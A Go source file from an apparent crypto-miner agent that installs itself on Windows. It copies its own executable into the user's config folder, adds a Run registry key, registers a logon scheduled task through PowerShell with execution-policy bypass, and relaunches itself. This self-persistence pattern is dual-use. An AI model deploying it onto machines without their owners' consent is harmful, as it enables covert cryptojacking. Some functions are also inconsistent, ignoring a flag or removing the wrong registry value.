package deploy

import (
	"fmt"
	"io"
	"os"
	"os/exec"
	"path/filepath"
	"strings"

	"crypto-miner-agent/config"

	"golang.org/x/sys/windows/registry"
)

const runFlag = "--run"

// InstallIfNeeded copies the installer to a permanent location, registers auto-start,
// and relaunches the miner from there. Returns true when the current process should exit.
func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
	currentExe, err := CurrentExecutable()
	if err != nil {
		return false, err
	}

	for _, arg := range os.Args[1:] {
		if arg == runFlag {
			return false, nil
		}
	}

	installDir, err := InstallDir(cfg.WorkerName, cfg.BuildID)
	if err != nil {
		return false, err
	}
	installedExe := filepath.Join(installDir, "miner.exe")

	if samePath(currentExe, installedExe) {
		return false, nil
	}

	if err := os.MkdirAll(installDir, 0755); err != nil {
		return false, fmt.Errorf("create install dir: %w", err)
	}

	if err := copyFile(currentExe, installedExe); err != nil {
		return false, fmt.Errorf("copy miner: %w", err)
	}

	logPath := filepath.Join(installDir, "miner.log")
	_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
		"worker=%s\nbuild=%s\nserver=%s\ninstalled_exe=%s\n",
		cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installedExe,
	)), 0644)

	if cfg.AutoStart {
		if err := configureAutoStart(cfg.WorkerName, installedExe); err != nil {
			return false, fmt.Errorf("auto-start: %w", err)
		}
	}

	if err := configureRunMode(cfg, installedExe); err != nil {
		return false, err
	}

	if err := relaunch(installedExe, logPath); err != nil {
		return false, fmt.Errorf("start installed miner: %w", err)
	}

	return true, nil
}

func InstallDir(workerName, buildID string) (string, error) {
	base, err := os.UserConfigDir()
	if err != nil {
		return "", err
	}
	safeWorker := sanitizeName(workerName)
	shortBuild := buildID
	if len(shortBuild) > 8 {
		shortBuild = shortBuild[:8]
	}
	return filepath.Join(base, "CryptoMiner", fmt.Sprintf("%s-%s", safeWorker, shortBuild)), nil
}

func configureAutoStart(workerName, exePath string) error {
	k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
	if err != nil {
		return err
	}
	defer k.Close()
	return k.SetStringValue(registryValueName(workerName), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
}

func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
	switch cfg.RunAs {
	case "scheduled":
		return createScheduledTask(cfg.WorkerName, installedExe)
	case "service":
		// Windows service requires a service wrapper; scheduled task at logon is the practical equivalent.
		return createScheduledTask(cfg.WorkerName, installedExe)
	default:
		return nil
	}
}

func createScheduledTask(workerName, exePath string) error {
	taskName := sanitizeName(workerName)
	if taskName == "" {
		taskName = "CryptoMinerAgent"
	}
	script := fmt.Sprintf(
		`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable; Register-ScheduledTask -TaskName 'CryptoMiner-%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
		strings.ReplaceAll(exePath, `'`, `''`),
		runFlag,
		taskName,
	)
	cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
	return cmd.Run()
}

func relaunch(exePath, logPath string) error {
	cmd := exec.Command(exePath, runFlag)
	cmd.Dir = filepath.Dir(exePath)
	cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
	return cmd.Start()
}

func registryValueName(workerName string) string {
	name := sanitizeName(workerName)
	if name == "" {
		return "CryptoMinerAgent"
	}
	return "CryptoMiner-" + name
}

func sanitizeName(name string) string {
	replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
	return replacer.Replace(strings.TrimSpace(name))
}

func samePath(a, b string) bool {
	a = filepath.Clean(a)
	b = filepath.Clean(b)
	if strings.EqualFold(a, b) {
		return true
	}
	aAbs, errA := filepath.Abs(a)
	bAbs, errB := filepath.Abs(b)
	if errA != nil || errB != nil {
		return false
	}
	return strings.EqualFold(aAbs, bAbs)
}

func copyFile(src, dest string) error {
	in, err := os.Open(src)
	if err != nil {
		return err
	}
	defer in.Close()

	out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
	if err != nil {
		return err
	}
	defer out.Close()

	_, err = io.Copy(out, in)
	return err
}

func ConfigureAutoStart(exePath string, enabled bool) error {
	return configureAutoStart("default", exePath)
}

func removeAutoStart() error {
	k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
	if err != nil {
		return nil
	}
	defer k.Close()
	_ = k.DeleteValue("CryptoMinerAgent")
	return nil
}